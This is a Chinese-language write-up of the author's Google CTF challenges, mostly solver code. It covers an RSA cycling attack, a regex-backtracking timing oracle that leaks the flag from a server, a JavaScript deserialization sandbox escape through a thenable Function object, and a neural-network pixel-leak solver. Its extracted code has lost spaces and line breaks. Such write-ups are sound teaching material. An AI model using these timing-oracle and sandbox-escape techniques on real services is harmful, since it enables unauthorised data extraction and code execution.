和 XxTSJxX 參加了今年的 Google
CTF,我只解掉了一些比較簡單的題目而已,但是題目都蠻有趣的。
題目名稱上有標 *
的代表的是我有試著解但是沒成功的題目,比賽結束後才把題目解掉。
crypto
CYCLING
這題給了個 2048 bits 的 RSA 要解,然後它還另外提供了一個 符合 。另外題目還有提供一組比較小的 case
作為測試用的數字:
1 2 3 4 5 6 7 8 9
e = 65537 n = 0x112b00148621 pt = 0xdeadbeef ct = pow(pt, e, n) pt = ct for _ inrange(209): # k = 209 here pt = pow(pt, e, n) assert ct == pow(pt, e, n)
import json from itertools import product import gmpy2 from tqdm import tqdm from Crypto.Util.number import isPrime
e = 65537 n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1 ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680 k = 2**1025 - 3
withopen("fact.json", "rb") as f: # curl 'http://factordb.com/api?query=2^1025-2' -o fact.json fact = json.load(f) fs = [gmpy2.mpz(p) for p, _ in fact["factors"]] print(fs) t = 1 for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)): s = 1 for x, y inzip(xx, fs): if x: s *= y if isPrime(s + 1): t *= s + 1 d = gmpy2.invert(e, t) pt = gmpy2.powmod(ct, d, n) print(int(pt).to_bytes((int(pt).bit_length() + 7) // 8, "big")) # CTF{Recycling_Is_Great}
import json from itertools import combinations, product from functools import reduce from operator import mul import gmpy2 from tqdm import tqdm from Crypto.Util.number import isPrime
e = 65537 n = 0x99EFA9177387907EB3F74DC09A4D7A93ABF6CEB7EE102C689ECD0998975CEDE29F3CA951FEB5ADFB9282879CC666E22DCAFC07D7F89D762B9AD5532042C79060CDB022703D790421A7F6A76A50CCEB635AD1B5D78510ADF8C6FF9645A1B179E965358E10FE3DD5F82744773360270B6FA62D972D196A810E152F1285E0B8B26F5D54991D0539A13E655D752BD71963F822AFFC7A03E946CEA2C4EF65BF94706F20B79D672E64E8FAAC45172C4130BFECA9BEF71ED8C0C9E2AA0A1D6D47239960F90EF25B337255BAC9C452CB019A44115B0437726A9ADEF10A028F1E1263C97C14A1D7CD58A8994832E764FFBFCC05EC8ED3269BB0569278EEA0550548B552B1 ct = 0x339BE515121DAB503106CD190897382149E032A76A1CA0EEC74F2C8C74560B00DFFC0AD65EE4DF4F47B2C9810D93E8579517692268C821C6724946438A9744A2A95510D529F0E0195A2660ABD057D3F6A59DF3A1C9A116F76D53900E2A715DFE5525228E832C02FD07B8DAC0D488CCA269E0DBB74047CF7A5E64A06A443F7D580EE28C5D41D5EDE3604825EBA31985E96575DF2BCC2FEFD0C77F2033C04008BE9746A0935338434C16D5A68D1338EABDCF0170AC19A27EC832BF0A353934570ABD48B1FE31BC9A4BB99428D1FBAB726B284AEC27522EFB9527DDCE1106BA6A480C65F9332C5B2A3C727A2CCA6D6951B09C7C28ED0474FDC6A945076524877680 k = 2**1025 - 3
withopen("fact.json", "rb") as f: # curl 'http://factordb.com/api?query=2^1025-2' -o fact.json fact = json.load(f) fs = [gmpy2.mpz(p) for p, _ in fact["factors"]] print(fs)
deffactor(): cur = 2 # for xx in tqdm(product([0, 1], repeat=len(fs)), total=2 ** len(fs)): # s = gmpy2.mpz(1) # for x, y in zip(xx, fs): # if x: # s *= y # if isPrime(s + 1): # cur = gmpy2.powmod(cur, s + 1, n) # g = gmpy2.gcd(cur - 1, n) # if 1 < g < n: # p = g # q = n // p # return p, q
# better version for i inrange(1, len(fs)): for c in combinations(fs, i): s = reduce(mul, c) if isPrime(s + 1): cur = gmpy2.powmod(cur, s + 1, n) g = gmpy2.gcd(cur - 1, n) if1 < g < n: p = g q = n // p return p, q
如果那個 a 有 match 到那它就會因為後面那些東西直接在
backtracking 時跑很久,直接吃 server 的 timeout (10s),沒 match 到的話
regex engine 就不會嘗試去執行後面那些瘋狂 backtracking 的部分,所以
response 很快就會回來。
asyncdefmain(): asyncwith httpx.AsyncClient(http2=True) as client: chrs = string.ascii_lowercase + "-" print(chrs) flag = "" whilenot flag.endswith("}"): res = await asyncio.gather(*[is_ok(client, flag + c) for c in chrs]) print(res) ifall([not r for r in res]): flag += "}" else: flag += [c for c, r inzip(chrs, res) if r][0] print("CTF{" + flag)
exportconst pickle = { PRIMITIVES: ['String', 'Number', 'Boolean'], loads: json => { const obj = {}; for (const {key, type, value} of json) { if (type.match(/^pickled/)) { obj[key] = pickle.loads(value); const constructor = type.replace(/^pickled/, ''); obj[key].__proto__ = (globalThis[constructor]||module[constructor]).prototype; } else { obj[key] = new globalThis[type](value); } } return obj; }, dumps: obj => { const json = []; for (const key in obj) { const value = obj[key]; const type = value.constructor.name; if (typeof type !== 'string') continue; if (typeof value == 'object' && !pickle.PRIMITIVES.includes(type)) { json.push({ key, type: 'pickled' + type, value: pickle.dumps(value) }); } elseif (typeof value !== 'undefined') { json.push({ key, type, value: globalThis[type].prototype.valueOf.call(value) }); } } return json; } };
有個 obj[key] = new globalThis[type](value);
看起來很好用,但是 type === 'eval' 的話會出現
Uncaught TypeError: globalThis.eval is not a constructor,所以只能利用
type === 'Function' 去創建新
function,然後看看能怎麼利用讓它 call 到新建立的 function。
賽中有嘗試找看看關於 toString, valueOf,
then, toJSON
可能會被呼叫的點,但是都沒成功找到。比賽後才知道async sendOrder() 會回傳
this.order.orderId,而 app.js 會
let result = await vm.run(script);。所以只要讓
orderId 是 { then: Function('pwned') }
就能讓它呼叫到 function 了。
# The network is pretty tiny, as it has to run on a potato. model = Sequential() model.add(Flatten(input_shape=(16,16,3))) # I'm sure we can compress it all down to four numbers. model.add(Dense(4, activation='relu')) model.add(Dense(128, activation='softmax'))
results = model.predict(image_data) s = "" for row in results: k = "?" for i, v inenumerate(row): if v > 0.5: k = chr(i) s += k print("The neural network sees:", repr(s))
model 的 weights 可以自己設定,但是因為這個模型真的太小了,沒辦法直接
train 一個同大小的模型去做辨識,且它的資料集也只給了 flag 的前四個字元
CTF{ 的圖片。
os.environ["PWNLIB_NOTERM"] = "1" # from pwnlib.tubes.process import process from pwn import process, remote, context from subprocess import check_output
context.log_level = "error" import ast from PIL import Image import random from tqdm import tqdm from multiprocessing import Pool from concurrent.futures import ThreadPoolExecutor, ProcessPoolExecutor, as_completed
defrand_color(): returntuple([random.randrange(256) for _ inrange(3)])
defhandle(io, rg, pbar): for i in rg: # print(i) muls = [1.5,1.8,2.1,2.4,2.7,3.0,3.3,3.5,3.8] fs = [read_pixel(io, i, m) for m in muls] for j inrange(flaglen): dt[j][i] = tuple([f[j] for f in fs]) # print(i,*dt[i]) pbar.update(1) io.close()
n_conn = 64 with ProcessPoolExecutor(max_workers=8) as ex: futures = [ex.submit(connect_one, i) for i inrange(n_conn)] ios = [f.result() for f in futures] print('DONE CONN') with tqdm(total=16 * 16) as pbar: with ThreadPoolExecutor(max_workers=n_conn) as ex: futures = [ ex.submit( handle, ios[i // (256 // n_conn)], list(range(i, i + 256 // n_conn)), pbar ) for i inrange(0, 16 * 16, 256 // n_conn) ]
for k inrange(flaglen): print(k, set(dt[k])) iflen(set(dt[k])) <= 3: colors = [(128, 0, 0), (0, 128, 0), (0, 0, 128)] cmap = {x: y for x, y inzip(set(dt[k]), colors)} img = Image.new("RGB", (16, 16)) pixels = img.load() for i inrange(16 * 16): pixels[i % 16, i // 16] = cmap[dt[k][i]] img.save(f"flag_out/flag_{k}.png") print(f"get flag {k}") # CTF{n0_l3aky_ReLU_y3t_5till_le4ky}